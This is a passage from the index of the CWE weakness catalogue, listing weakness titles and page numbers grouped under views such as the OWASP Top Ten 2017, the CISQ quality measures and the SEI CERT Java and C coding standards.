- CWE-314: Cleartext Storage in the Registry *(p.699)*
- CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
- CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
- CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
- CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
- CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
- CWE-323: Reusing a Nonce, Key Pair in Encryption *(p.713)*
- CWE-324: Use of a Key Past its Expiration Date *(p.715)*
- CWE-325: Missing Required Cryptographic Step *(p.717)*
- CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-332: Insufficient Entropy in PRNG *(p.739)*
- CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
- CWE-334: Small Space of Random Values *(p.742)*
- CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
- CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
- CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-339: Small Seed Space in PRNG *(p.751)*
- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
- CWE-523: Unprotected Transport of Credentials *(p.1095)*
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p.1392)*
- CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
- CWE-760: Use of a One-Way Hash with a Predictable Salt *(p.1399)*
- CWE-780: Use of RSA Algorithm without OAEP *(p.1448)*
- CWE-922: Insecure Storage of Sensitive Information *(p.1603)*

CWE-1014: Identify Actors *(p.1969)*

- CWE-295: Improper Certificate Validation *(p.648)*
- CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
- CWE-297: Improper Validation of Certificate with Host Mismatch *(p.656)*
- CWE-298: Improper Validation of Certificate Expiration *(p.659)*
- CWE-299: Improper Check for Certificate Revocation *(p.661)*
- CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
- CWE-346: Origin Validation Error *(p.760)*
- CWE-370: Missing Check for Certificate Revocation after Initial Check *(p.821)*
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p.950)*
- CWE-599: Missing Validation of OpenSSL Certificate *(p.1192)*
- CWE-940: Improper Verification of Source of a Communication Channel *(p.1617)*

- CWE-941: Incorrectly Specified Destination in a Communication Channel *(p.1619)*

CWE-1015: Limit Access *(p.1970)*
- CWE-201: Exposure of Sensitive Information Through Sent Data *(p.474)*
- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
- CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere *(p.1213)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-73: External Control of File Name or Path *(p.125)*

CWE-1016: Limit Exposure *(p.1971)*
- CWE-210: Self-generated Error Message Containing Sensitive Information *(p.496)*
- CWE-211: Externally-Generated Error Message Containing Sensitive Information *(p.498)*
- CWE-214: Invocation of Process Using Visible Sensitive Information *(p.505)*
- CWE-550: Server-generated Error Message Containing Sensitive Information *(p.1123)*
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
- CWE-830: Inclusion of Web Functionality from an Untrusted Source *(p.1538)*

CWE-1017: Lock Computer *(p.1971)*
- CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*

CWE-1018: Manage User Sessions *(p.1972)*
- CWE-384: Session Fixation *(p.839)*
- CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*
- CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session *(p.1164)*
- CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*
- CWE-613: Insufficient Session Expiration *(p.1219)*
- CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*

CWE-1019: Validate Inputs *(p.1972)*
- CWE-138: Improper Neutralization of Special Elements *(p.342)*
- CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences *(p.362)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
- CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-473: PHP External Variable Modification *(p.1005)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
- CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) *(p.134)*
- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-790: Improper Filtering of Special Elements *(p.1476)*
- CWE-791: Incomplete Filtering of Special Elements *(p.1478)*
- CWE-792: Incomplete Filtering of One or More Instances of Special Elements *(p.1479)*
- CWE-793: Only Filtering One Instance of a Special Element *(p.1480)*
- CWE-794: Incomplete Filtering of Multiple Instances of Special Elements *(p.1481)*

- CWE-795: Only Filtering Special Elements at a Specified Location *(p.1483)*
- CWE-796: Only Filtering Special Elements Relative to a Marker *(p.1484)*
- CWE-797: Only Filtering Special Elements at an Absolute Position *(p.1485)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
- CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic *(p.1624)*
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
- CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
- CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*

CWE-1020: Verify Message Integrity *(p.1974)*

- CWE-353: Missing Support for Integrity Check *(p.780)*
- CWE-354: Improper Validation of Integrity Check Value *(p.782)*
- CWE-390: Detection of Error Condition Without Action *(p.845)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
- CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
- CWE-707: Improper Neutralization *(p.1362)*
- CWE-755: Improper Handling of Exceptional Conditions *(p.1389)*
- CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*

Graph View: CWE-1026: Weaknesses in OWASP Top Ten (2017)

- CWE-1027: OWASP Top Ten 2017 Category A1 - Injection *(p.1975)*
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
  - CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
  - CWE-564: SQL Injection: Hibernate *(p.1139)*
  - CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') *(p.1598)*
  - CWE-943: Improper Neutralization of Special Elements in Data Query Logic *(p.1624)*
- CWE-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication *(p.1975)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-523: Unprotected Transport of Credentials *(p.1095)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-620: Unverified Password Change *(p.1229)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure *(p.1976)*
  - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
  - CWE-295: Improper Certificate Validation *(p.648)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
  - CWE-320: Key Management Errors *(p.1859)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
  - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
- CWE-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE) *(p.1976)*
  - CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control *(p.1977)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-284: Improper Access Control *(p.619)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
- CWE-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration *(p.1977)*
  - CWE-16: Configuration *(p.1849)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-548: Exposure of Information Through Directory Listing *(p.1121)*
- CWE-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS) *(p.1978)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*

- CWE-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization *(p.1978)*
  - CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities *(p.1978)*
- CWE-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring *(p.1979)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-778: Insufficient Logging *(p.1444)*

Graph View: CWE-1128: CISQ Quality Measures (2016)

- CWE-1129: CISQ Quality Measures - Reliability *(p.1979)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-252: Unchecked Return Value *(p.553)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*
  - CWE-674: Uncontrolled Recursion *(p.1314)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
  - CWE-788: Access of Memory Location After End of Buffer *(p.1470)*
  - CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor *(p.1647)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data *(p.1653)*
  - CWE-1056: Invokable Control Element with Variadic Parameters *(p.1658)*
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
  - CWE-1062: Parent Class with References to Child Class *(p.1664)*
  - CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers *(p.1667)*
  - CWE-1066: Missing Serialization Control Element *(p.1668)*
  - CWE-1069: Empty Exception Block *(p.1670)*
  - CWE-1070: Serializable Data Element Containing non-Serializable Item Elements *(p.1671)*
  - CWE-1077: Floating Point Comparison with Incorrect Operator *(p.1678)*
  - CWE-1079: Parent Class without Virtual Destructor Method *(p.1680)*
  - CWE-1082: Class Instance Self Destruction Control Element *(p.1682)*
  - CWE-1083: Data Access from Outside Expected Data Manager Component *(p.1683)*
  - CWE-1087: Class with Virtual Method without a Virtual Destructor *(p.1687)*
  - CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*
  - CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element *(p.1697)*
  - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization *(p.1696)*
  - CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element *(p.1698)*
- CWE-1130: CISQ Quality Measures - Maintainability *(p.1980)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-1041: Use of Redundant Code *(p.1643)*
  - CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range *(p.1646)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1048: Invokable Control Element with Large Number of Outward Calls *(p.1650)*
  - CWE-1052: Excessive Use of Hard-Coded Literals in Initialization *(p.1654)*
  - CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer *(p.1656)*
  - CWE-1055: Multiple Inheritance from Concrete Classes *(p.1657)*
  - CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters *(p.1666)*
  - CWE-1074: Class with Excessively Deep Inheritance *(p.1675)*
  - CWE-1075: Unconditional Control Flow Transfer outside of Switch Block *(p.1676)*
  - CWE-1080: Source Code File with Excessive Number of Lines of Code *(p.1681)*
  - CWE-766: Critical Data Element Declared Public *(p.1415)*
  - CWE-1084: Invokable Control Element with Excessive File or Data Access Operations *(p.1684)*
  - CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code *(p.1685)*
  - CWE-1086: Class with Excessive Number of Child Classes *(p.1686)*
  - CWE-1090: Method Containing Access of a Member Element from Another Class *(p.1690)*
  - CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers *(p.1692)*

- CWE-1095: Loop Condition Value Update within the Loop *(p.1695)*
- CWE-1121: Excessive McCabe Cyclomatic Complexity *(p.1716)*

CWE-1131: CISQ Quality Measures - Security *(p.1981)*
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*
- CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
- CWE-129: Improper Validation of Array Index *(p.312)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-396: Declaration of Catch for Generic Exception *(p.860)*
- CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-456: Missing Initialization of a Variable *(p.971)*
- CWE-606: Unchecked Input for Loop Condition *(p.1207)*
- CWE-667: Improper Locking *(p.1299)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
- CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-789: Uncontrolled Memory Allocation *(p.1474)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*

CWE-1132: CISQ Quality Measures - Performance *(p.1982)*
- CWE-1042: Static Member Data Element outside of a Singleton Class Element *(p.1644)*
- CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
- CWE-1046: Creation of Immutable Text Using String Concatenation *(p.1648)*
- CWE-1049: Excessive Data Query Operations in a Large Data Table *(p.1651)*
- CWE-1050: Excessive Platform Resource Consumption within a Loop *(p.1652)*
- CWE-1057: Data Access Operations Outside of Expected Data Manager Component *(p.1659)*
- CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses *(p.1662)*
- CWE-1063: Creation of Class Instance within a Static Code Block *(p.1665)*
- CWE-1067: Excessive Execution of Sequential Searches of Data Resource *(p.1669)*
- CWE-1072: Data Resource Access without Use of Connection Pooling *(p.1673)*
- CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses *(p.1674)*
- CWE-1089: Large Data Table with Excessive Number of Indices *(p.1689)*
- CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
- CWE-1094: Excessive Index Range Scan for a Data Resource *(p.1694)*

Graph View: CWE-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

- CWE-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS) *(p.1983)*
  - CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-144: Improper Neutralization of Line Delimiters *(p.351)*
  - CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences *(p.362)*
  - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-182: Collapse of Data into Unsafe Value *(p.422)*
- CWE-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL) *(p.1984)*
  - CWE-665: Improper Initialization *(p.1293)*
- CWE-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP) *(p.1984)*
  - CWE-252: Unchecked Return Value *(p.553)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
  - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
- CWE-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM) *(p.1985)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
  - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-682: Incorrect Calculation *(p.1326)*
- CWE-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR) *(p.1985)*
  - CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ) *(p.1986)*
  - CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
  - CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
  - CWE-486: Comparison of Classes by Name *(p.1036)*
  - CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
  - CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
  - CWE-498: Cloneable Class Containing Sensitive Information *(p.1065)*
  - CWE-500: Public Static Field Not Marked Final *(p.1069)*
  - CWE-766: Critical Data Element Declared Public *(p.1415)*
- CWE-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET) *(p.1987)*
  - CWE-617: Reachable Assertion *(p.1224)*
  - CWE-589: Call to Non-ubiquitous API *(p.1178)*
  - CWE-697: Incorrect Comparison *(p.1350)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
  - CWE-573: Improper Following of Specification by Caller *(p.1153)*
  - CWE-586: Explicit Call to Finalize() *(p.1174)*
  - CWE-583: finalize() Method Declared Public *(p.1169)*
  - CWE-568: finalize() Method Without super.finalize() *(p.1146)*

- CWE-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR) *(p.1987)*
  - CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
  - CWE-584: Return Inside Finally Block *(p.1171)*
  - CWE-459: Incomplete Cleanup *(p.978)*
  - CWE-248: Uncaught Exception *(p.545)*
  - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
  - CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
- CWE-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA) *(p.1988)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-366: Race Condition within a Thread *(p.809)*
  - CWE-413: Improper Resource Locking *(p.896)*
  - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-662: Improper Synchronization *(p.1288)*
  - CWE-667: Improper Locking *(p.1299)*
- CWE-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK) *(p.1988)*
  - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
  - CWE-609: Double-Checked Locking *(p.1211)*
  - CWE-667: Improper Locking *(p.1299)*
  - CWE-820: Missing Synchronization *(p.1512)*
- CWE-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI) *(p.1989)*
  - CWE-572: Call to Thread run() instead of start() *(p.1152)*
- CWE-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS) *(p.1989)*
  - CWE-392: Missing Report of Error Condition *(p.853)*
  - CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
  - CWE-410: Insufficient Resource Pool *(p.891)*
- CWE-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM) *(p.1990)*
- CWE-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO) *(p.1990)*
  - CWE-67: Improper Handling of Windows Device Names *(p.120)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-198: Use of Incorrect Byte Ordering *(p.465)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
  - CWE-377: Insecure Temporary File *(p.829)*
  - CWE-404: Improper Resource Shutdown or Release *(p.877)*
  - CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
  - CWE-459: Incomplete Cleanup *(p.978)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
  - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER) *(p.1991)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
  - CWE-400: Uncontrolled Resource Consumption *(p.864)*

- CWE-499: Serializable Class Containing Sensitive Data *(p.1067)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*

CWE-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC) *(p.1991)*
- CWE-266: Incorrect Privilege Assignment *(p.580)*
- CWE-272: Least Privilege Violation *(p.598)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV) *(p.1992)*
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI) *(p.1992)*
- CWE-111: Direct Use of Unsafe JNI *(p.247)*

CWE-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC) *(p.1993)*
- CWE-259: Use of Hard-coded Password *(p.569)*
- CWE-311: Missing Encryption of Sensitive Data *(p.686)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-332: Insufficient Entropy in PRNG *(p.739)*
- CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
- CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*

CWE-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD) *(p.1993)*

CWE-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON) *(p.2004)*

Graph View: CWE-1154: Weaknesses Addressed by the SEI CERT C Coding Standard

- CWE-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE) *(p.1994)*
- CWE-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL) *(p.1994)*
  - CWE-562: Return of Stack Variable Address *(p.1136)*
- CWE-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP) *(p.1995)*
  - CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
  - CWE-908: Use of Uninitialized Resource *(p.1578)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
  - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
  - CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
  - CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') *(p.1563)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-125: Out-of-bounds Read *(p.302)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-481: Assigning instead of Comparing *(p.1026)*
- CWE-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT) *(p.1995)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
  - CWE-680: Integer Overflow to Buffer Overflow *(p.1321)*
  - CWE-192: Integer Coercion Error *(p.446)*
  - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-194: Unexpected Sign Extension *(p.454)*
  - CWE-195: Signed to Unsigned Conversion Error *(p.457)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
  - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
- CWE-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP) *(p.1996)*
  - CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-391: Unchecked Error Condition *(p.850)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-197: Numeric Truncation Error *(p.461)*
- CWE-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR) *(p.1997)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
